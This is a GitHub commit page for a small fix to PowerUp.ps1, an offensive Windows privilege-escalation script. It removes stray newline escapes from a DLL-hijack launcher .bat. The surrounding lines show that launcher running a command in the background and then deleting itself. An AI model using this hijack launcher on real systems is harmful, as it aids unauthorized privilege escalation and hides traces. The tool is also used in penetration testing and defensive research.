Skip to content

Commit 8d46d02

Browse files
authored
Merge pull request PowerShellMafia#161 from joncave/batnewlines
PowerUp: Remove badly encoded new lines from .bat output
2 parents e639125 + 9596f68 commit 8d46d02

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

Privesc/PowerUp.ps1

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2668,8 +2668,8 @@ function Write-HijackDll {
26682668
# build the launcher .bat
26692669
if (Test-Path $TargetBatPath) { Remove-Item -Force $TargetBatPath }
26702670

2671-
"@echo off\n" | Out-File -Encoding ASCII -Append $TargetBatPath
2672-
"start /b $BatCommand\n" | Out-File -Encoding ASCII -Append $TargetBatPath
2671+
"@echo off" | Out-File -Encoding ASCII -Append $TargetBatPath
2672+
"start /b $BatCommand" | Out-File -Encoding ASCII -Append $TargetBatPath
26732673
'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $TargetBatPath
26742674

26752675
Write-Verbose ".bat launcher written to: $TargetBatPath"

0 commit comments

Comments
 (0)